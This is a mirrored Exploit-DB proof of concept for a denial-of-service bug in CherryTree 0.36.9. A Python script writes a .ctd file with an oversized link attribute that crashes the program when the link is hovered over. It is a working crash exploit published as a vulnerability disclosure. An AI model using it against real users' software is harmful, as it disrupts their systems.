CherryTree 0.36.9 – Memory Corruption (PoC) - 体验盒子

作者： n30m1nd

日期： 2016-10-27

类别：

dos

平台：

windows

来源：https://www.exploit-db.com/exploits/40638/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

#!/usr/bin/python

### CherryTree 0.36.9 - Memory Corruption PoC by n30m1nd ###

# Date: 2016-10-27

# PoC Author: n30m1nd

# Vendor Homepage: http://www.giuspen.com/cherrytree/

# Software Link: http://www.giuspen.com/software/cherrytree_0.36.9_setup.exe

# Version: Affects all versions of CherryTree prior to 0.37.6

# Tested on: Win7 64bit and Win10 64 bit

# Credits

# =======

# Thanks to Giusepe Penone for this invaluable piece of free, open source software and also for quickly patching this vuln.

# Shouts to the crew at Offensive Security for their huge efforts on making the infosec community better

# How to

# ======

# * Run this python script. It will generate a "PoC-1.ctd" file.

# * Open the file and hover over the link.

# Bonus

# =====

# It will also crash if you click on the link (but it will also make your graphic drivers stop working sometimes...)

# Why?

# ====

# For what we have seen debugging the crash (thanks R0c0!), it happens inside libcairo2.0.dll due to a null pointer reference when

# trying to draw the contents of the graphical bitmaps.

# Exploit code

# ============

crashfile = '''<?xml version="1.0" ?>

<rich_text link="node 1 '''+ "A"*65534 + '''">MOUSE OVER THIS</rich_text>

</node>

</cherrytree>

'''

with open("PoC-1.ctd", 'w') as f:

f.write(crashfile)

f.close()